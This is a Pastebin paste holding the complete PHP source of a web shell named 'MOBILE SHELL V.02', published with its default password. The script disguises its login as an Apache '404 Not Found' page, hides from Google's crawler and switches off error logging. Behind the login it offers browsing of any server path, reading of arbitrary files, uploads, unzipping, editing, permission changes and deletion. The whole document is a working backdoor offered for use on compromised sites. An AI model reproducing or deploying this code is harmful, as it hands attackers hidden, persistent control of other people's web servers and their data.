Advertisement
EddieKidiw

MOBILE SHELL V.02

Jan 4th, 2016
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.01 KB | None | 0 0
  1. <?php
  2. /***
  3. MOBILE SHELL V.02
  4. Default pass: andela
  5. ***/
  6. error_reporting(E_ALL^E_NOTICE);
  7. error_reporting(E_ALL);
  8. $auth_pass = "a9d4113081d42f34801eb29666f2f3c0";
  9. $color = "#00ff00";
  10. $default_action = 'FilesMan';
  11. @define('SELF_PATH', __FILE__);
  12. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  13. header('HTTP/1.0 404 Not Found');
  14. exit;
  15. }
  16. @session_start();
  17. @error_reporting(0);
  18. @ini_set('error_log',NULL);
  19. @ini_set('log_errors',0);
  20. @ini_set('max_execution_time',0);
  21. @ini_set('output_buffering',0);
  22. @ini_set('display_errors', 0);
  23. @set_time_limit(0);
  24. @set_magic_quotes_runtime(0);
  25. @define('VERSION', '2.1');
  26. if( get_magic_quotes_gpc() ) {
  27. function stripslashes_array($array) {
  28. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  29. }
  30. $_POST = stripslashes_array($_POST);
  31. }
  32. function printLogin() {
  33. ?>
  34. <title>404 Not Found</title>
  35.  <meta name="viewport" content="width=device-width, initial-scale=1">
  36. <h1>Not Found</h1>
  37. <p>The requested URL was not found on this
  38. server.</p>
  39. <hr>
  40. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
  41. <style>
  42. input { margin:0;background-
  43. color:#fff;border:1px solid #fff; }
  44. </style>
  45. <center>
  46. <form method=post>
  47. <input type=password name=pass>
  48. </form></center>
  49. <?php
  50. exit;
  51. }
  52. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  53. if( empty( $auth_pass ) ||
  54. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  55. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  56. else
  57. printLogin();
  58. @ini_set('log_errors',0);
  59. @ini_set('output_buffering',0);
  60. echo '<!DOCTYPE html>
  61. <html lang="en">
  62. <head>
  63.  <title>MOBILE SHELL V.02</title>
  64.  <meta charset="utf-8">
  65.  <meta namee="viewport" content="width=device-width, initial-scale=1">
  66.    <link rel="stylesheet" href="http://jokowi.zz.vc/bootstrap/custom.css">
  67.       <link rel="stylesheet" href="css/custom.css">
  68.  <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
  69.    <link rel="stylesheet" href="css/bootstrap.min.css">
  70.  
  71. <style>
  72. .jembut {
  73. padding:5px;
  74. border-radius:0px;
  75. border:2px solid #ddd;
  76. margin:auto;
  77. }
  78. .w2 {
  79. padding:5px;
  80. border:2px solid #ddd;
  81. margin-top:2px;
  82. text-align:center;
  83. width:100%;
  84. font-weight:bold;
  85. margin:auto;
  86. }
  87. .brudul {
  88. border:px solid#303030;
  89. background:#222;
  90. color:#ddd;
  91. font-weight:bold;
  92. }
  93. .but {
  94. border:2px solid#ddd;
  95. background:#222;
  96. color:#ddd;
  97. font-weight:bold;
  98. margin:px;
  99. padding:5px
  100. }
  101. .brudul2 {
  102. border:2px solid#ddd;
  103. color:#222;
  104. font-weight:bold;
  105. padding:5px;
  106. }
  107. .dan {
  108. padding:3px;
  109. border:2px solid red;
  110. color:red;
  111. }
  112. .suc {
  113. padding:3px;
  114. border:2px solid green;
  115. color:green;
  116. }
  117. th { background:#222;color:#ddd;padding:5px; }
  118. </style>  
  119. <body background="http://jokowi.zz.vc/img/bg.png">
  120.  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  121.  <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  122. </head>
  123. <body>
  124.             <div class="container main" role="main">
  125. <div class="w2 brudul" style="margin-bottom:2px">MOBILE SHELL V.02</div><div class="brudul2">';
  126.  
  127.  
  128. echo '<div class="btn-group btn-group-justified">
  129.         <a href="'.$_SERVER['PHP_SELF'].'" class="btn btn-default" style="background:#222; border-bottom:0px solid red; border-left:0px;border-right:0px;border-top:0px;color:#ddd;font-weight:bold">HOME</a>
  130.             <a href="http://www.tfk.web.id" class="btn btn-default" style="background:#222; border-bottom:0px solid red; border-left:1px solid #333;border-right:0px;border-top:0px;color:#ddd;font-weight:bold">BLOG</a>
  131.         <a href="?logout" class="btn btn-default" style="background:#222; border-bottom:0px solid #222; border-left:1px solid #333;border-right:1px solid #333;border-top:0px;color:#ddd;font-weight:bold">LOGOUT</a></div>
  132. <div style="paddingbackground:url(img/header.png)no-repeat"></div>
  133. <div class="brudul2" style="margin-top:2px;margin-bottom:2px;text-align:center;background:#fff">PWD :';
  134. if(isset($_GET['path'])){
  135. $path = $_GET['path'];
  136. }else{
  137. $path = getcwd();
  138. }
  139.     $path = str_replace('\\','/',$path);
  140.     $paths = explode('/',$path);
  141.  
  142. foreach($paths as $id=>$pat){
  143. if($pat == '' && $id == 0){
  144. $a = true;
  145. echo '<a href="?path=/">/</a>';
  146. continue;
  147. }
  148. if($pat == '') continue;
  149. echo '<a href="?path=';
  150. for($i=0;$i<=$id;$i++){
  151. echo "$paths[$i]";
  152. if($i != $id) echo "/";
  153. }
  154. echo '">'.$pat.'</a>/';
  155. }
  156. echo '</div>';
  157.  
  158.   function getDirectoryList ($directory)
  159.   {
  160.  
  161.     // create an array to hold directory list
  162.     $results = array();
  163.  
  164.     // create a handler for the directory
  165.     $handler = opendir($directory);
  166.  
  167.     // open directory and walk through the filenames
  168.     while ($file = readdir($handler)) {
  169.  
  170.       // if file isn't this directory or its parent, add it to the results
  171.       if ($file != "." && $file != "..") {
  172.     $ext = substr($file, strlen($file)-3, strlen($file));
  173.     if($ext == 'zip')
  174.             $results[] = $file;
  175.       }
  176.  
  177.     }
  178.  
  179.     // tidy up: close the handler
  180.     closedir($handler);
  181.  
  182.     // done!
  183.     return $results;
  184.  
  185.   }
  186.  
  187. $list = getDirectoryList(dirname(__FILE__));
  188.  
  189.  
  190. if(isset($_POST['file_name']) && !empty($_POST['file_name']) && file_exists($_POST['file_name']))
  191. {
  192.       $zip = new ZipArchive;
  193.  
  194.     //$zipFilename = substr($_POST['file_name'], 0, -4);
  195.       $zipped = $zip->open($_POST['file_name']);
  196.  
  197.       if ( $zipped == TRUE) {
  198.  
  199.       if(!$zip->extractTo(dirname(__FILE__))){
  200.             echo '<script> alert("Gagal Brow !!") </script>';
  201.         }
  202.       $zip->close();
  203.    
  204.       echo '<script> alert("Unzip Sukses Brow !!") </script>';
  205.     }else{
  206.         echo '<script> alert("File Rusak") </script>';
  207.     }
  208. }
  209. echo '<table width="100%"><tr><td width="80%"><form method="POST" action=""><select name="file_name" class="brudul2" style="width:80%">';
  210.            
  211.         foreach($list as $item) {
  212.                 echo '<option>'.$item.'</option>';
  213.                 }
  214.         echo '</select></td>
  215.         <td align="right"><input type="submit" value="UNZIP" class="but" style=""></center>
  216.     </form></td></tr></table>';
  217.  
  218.  
  219.  
  220. echo '<hr>';
  221.  
  222. if(isset($_FILES['file'])){
  223. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  224. echo '<div class="alert alert-success"><center>Upload Success ^_^ </center></div>';
  225. }else{
  226. echo '<div class="alert alert-danger"><center>Upload Failed !!</center></div>';
  227. }
  228. }
  229. echo '<form enctype="multipart/form-data" method="POST"><input type="file" class="brudul2" name="file" style="width:100%"><input type="submit" class="but" style="width:100%;margin-top:3px" value="&uarr;&uarr;"></form>';
  230.  
  231. if(isset($_GET['filesrc'])){
  232. echo "<br><tr><td>Current File : ";
  233. echo '<br><div class="brudul2" style="margin-top:px;margin-bottom:2px;text-align:center;border:2px solid #279ddd">';
  234. echo $_GET['filesrc'];
  235. echo '</div>';
  236. echo '</tr></td></table><br />';
  237. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  238. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  239. echo '</table><br /><center><div class="brudul2" style="margin-top:px;margin-bottom:px;text-align:center;border:2px solid #279ddd"><tt>'.$_POST['path'].'</tt></div><br /><br />';
  240. if($_POST['opt'] == 'chmod'){
  241. if(isset($_POST['perm'])){
  242. if(chmod($_POST['path'],$_POST['perm'])){
  243. echo '<div class="alert alert-success">Change Permission Done</div>';
  244. }else{
  245. echo '<div class="alert alert-danger"> Change Permission Error</div>';
  246. }
  247. }
  248. echo '<form method="POST">
  249. Permission : <input name="perm" type="text" class="brudul2" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  250. <input type="hidden" name="path" value="'.$_POST['path'].'">
  251. <input type="hidden" name="opt" value="chmod">
  252. <input type="submit" class="but" value="Go" />
  253. </form>';
  254. }
  255. else if($_POST['opt'] == 'rename'){
  256. if(isset($_POST['newname'])){
  257. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  258. echo '<div class="alert alert-success"> Change Name Done</div>';
  259. }else{
  260. echo '<div class="alert alert-danger">Change Name Error </div>';
  261. }
  262. $_POST['name'] = $_POST['newname'];
  263. }
  264. echo '<form method="POST">
  265. New Name : <input name="newname" type="text" class="brudul2" size="20" value="'.$_POST['name'].'" />
  266. <input type="hidden" name="path" value="'.$_POST['path'].'">
  267. <input type="hidden" name="opt" value="rename">
  268. <input type="submit" class="but" value="Go" />
  269. </form>';
  270. }
  271.  
  272. else if ($_POST['opt'] == 'edit'){
  273. if(isset($_POST['src'])){
  274. $fp = fopen($_POST['path'],'w');
  275. if(fwrite($fp,$_POST['src'])){
  276. echo '<div class="alert alert-success">Edit File Done !</div>';
  277. }else{
  278. echo '<div class="alert alert-danger">Edit File Error ! </div>';
  279. }
  280. fclose($fp);
  281. }
  282. echo '<form method="POST">
  283. <textarea class="form-control brudul2"
  284. rows="20"  name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea>
  285. <input type="hidden" name="path" value="'.$_POST['path'].'">
  286. <input type="hidden" name="opt" value="edit">
  287. <input type="submit" class="but" value="Save !" style="margin-top:3px"/>
  288. </form>';
  289. }
  290. echo '</center>';
  291. }else{
  292. echo '</table><br /><center>';
  293. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  294. if($_POST['type'] == 'dir'){
  295. if(rmdir($_POST['path'])){
  296. echo '<div class="alert alert-success"> Delete Dir Done </div>';
  297. }else{
  298. echo '<div class="alert alert-danger"> Delete Dir Error </div>';
  299. }
  300. }elseif($_POST['type'] == 'file'){
  301. if(unlink($_POST['path'])){
  302. echo '<div class="alert alert-success"> Delete File Done </div>';
  303. }else{
  304. echo '<div class="alert alert-danger"> Delete File Error </div>';
  305. }
  306. }
  307. }
  308. echo '</center>';
  309. $scandir = scandir($path);
  310. echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="">
  311. <tr class="first">
  312. <th><center>Name </center></th>
  313. <th><center>Size </center></th>
  314. <th><center>Options </center></th>
  315. </tr>';
  316.  
  317. foreach($scandir as $dir){
  318. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  319. echo "<tr>
  320. <td><font color='#222'><a href=\"?path=$path/$dir\">$dir</a></td>
  321. <td><center><font color='#222'>
  322. --</font></center></font></td>";
  323.  
  324.  
  325.  
  326. echo "<td style=text-align:right><form method=\"POST\" action=\"?option&path=$path\">
  327. <select name=\"opt\" class=\"but\">
  328. <option value=\"\"></option>
  329. <option value=\"delete\">D</option>
  330. <option value=\"chmod\">C</option>
  331. <option value=\"rename\">R</option>
  332. </select>
  333. <input type=\"hidden\" name=\"type\" value=\"dir\">
  334. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  335. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  336. <input type=\"submit\"  class=\"but\" value=\">\" />
  337. </form></center></td>
  338. </tr>";
  339. }
  340. foreach($scandir as $file){
  341. if(!is_file("$path/$file")) continue;
  342. $size = filesize("$path/$file")/1024;
  343. $size = round($size,3);
  344. if($size >= 1024){
  345. $size = round($size/1024,2).' MB';
  346. }else{
  347. $size = $size.' KB';
  348. }
  349.  
  350. echo "<tr>
  351. <td><font color='green'><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  352. <td><center><font color='#222'>".$size."</font></center></td></font><center>";
  353. echo "
  354. <td style=text-align:right><form method=\"POST\" action=\"?option&path=$path\">
  355. <select name=\"opt\" class=\"but\">
  356. <option value=\"\"></option>
  357. <option value=\"delete\">D</option>
  358. <option value=\"chmod\">C</option>
  359. <option value=\"rename\">R</option>
  360. <option value=\"edit\">E</option>
  361. </select>
  362. <input type=\"hidden\" name=\"type\" value=\"file\">
  363. <input type=\"hidden\" name=\"name\" value=\"$file\">
  364. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  365. <input type=\"submit\" class=\"but\" value=\">\" />
  366. </form></center></td>
  367. </tr>";
  368. }
  369. echo '</table></div>';
  370. }
  371. if (isset($_GET['logout'])) {
  372. session_start();
  373. session_destroy();
  374. echo '<meta http-equiv="Refresh" content="0; URL='.$_SERVER['PHP_SELF'].'"/>';
  375. }
  376. echo '</div>';
  377. echo '<div class="brudul2" style="margin-top:2px"><center><form action="" method="post">
  378. <input type="text" class="brudul2" name="kata" value="" style="margin-right:3px" size="27">
  379. <input type="submit" class="but" name="ndir" value="ND">
  380. <input type="submit" class="but" name="nfil" value="NF"></form></center></div>';
  381.  
  382. //Make directory stuff
  383. if (isset($_POST['ndir'])) {
  384.     $dir = $_POST['kata2'];
  385.     $fold = $_POST['kata'];
  386.     $cdir = $_POST['kata'];
  387.     if (is_dir($path.'/'.$cdir)) {
  388.         echo '<div class="dan" style="margin-top:2px">Directory Already Exists</div>';
  389.     } else {
  390.         if(mkdir($path.'/'.$cdir, 0777)) {
  391.            echo '<meta http-equiv="Refresh" content="0; URL=?path='.$path.'"/>';
  392.         } else {
  393.             echo '<div class="dan" style="margin-top:2px">Directory Was Not Created!</div>';
  394.         }
  395.     }
  396. }
  397. if(isset($_POST['nfil'])) {
  398.     $cfile = $_POST['kata'];
  399.     if (file_exists($path.'/'.$cfile)) {
  400.         echo '<div class="dan" style="margin-top:2px">File Already Exists !!</div>';
  401.     } else {
  402.         if(fopen($path.'/'.$cfile, "w+")) {
  403.             echo '<meta http-equiv="Refresh" content="0; URL=?path='.$path.'"/>';
  404.         } else {
  405.            echo '<div class="ban" style="margin-top:2px">Erorr !!</div>';
  406.         }
  407.     }
  408. }
  409. echo '<div class="w2 brudul" style="margin-top:2px">CODER BY ARSNTX</div>';
  410. function perms($file){
  411. $perms = fileperms($file);
  412. if (($perms & 0xC000) == 0xC000) {
  413. // Socket
  414. $info = 's';
  415. } elseif (($perms & 0xA000) == 0xA000) {
  416. // Symbolic Link
  417. $info = 'l';
  418. } elseif (($perms & 0x8000) == 0x8000) {
  419. // Regular
  420. $info = '-';
  421. } elseif (($perms & 0x6000) == 0x6000) {
  422. // Block special
  423. $info = 'b';
  424. } elseif (($perms & 0x4000) == 0x4000) {
  425. // Directory
  426. $info = 'd';
  427. } elseif (($perms & 0x2000) == 0x2000) {
  428. // Character special
  429. $info = 'c';
  430. } elseif (($perms & 0x1000) == 0x1000) {
  431. // FIFO pipe
  432. $info = 'p';
  433. } else {
  434. // Unknown
  435. $info = 'u';
  436. }
  437. // Owner
  438. $info .= (($perms & 0x0100) ? 'r' : '-');
  439. $info .= (($perms & 0x0080) ? 'w' : '-');
  440. $info .= (($perms & 0x0040) ?
  441. (($perms & 0x0800) ? 's' : 'x' ) :
  442. (($perms & 0x0800) ? 'S' : '-'));
  443. // Group
  444. $info .= (($perms & 0x0020) ? 'r' : '-');
  445. $info .= (($perms & 0x0010) ? 'w' : '-');
  446. $info .= (($perms & 0x0008) ?
  447. (($perms & 0x0400) ? 's' : 'x' ) :
  448. (($perms & 0x0400) ? 'S' : '-'));
  449. // World
  450. $info .= (($perms & 0x0004) ? 'r' : '-');
  451. $info .= (($perms & 0x0002) ? 'w' : '-');
  452. $info .= (($perms & 0x0001) ?
  453. (($perms & 0x0200) ? 't' : 'x' ) :
  454. (($perms & 0x0200) ? 'T' : '-'));
  455. return $info;
  456. }
  457. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement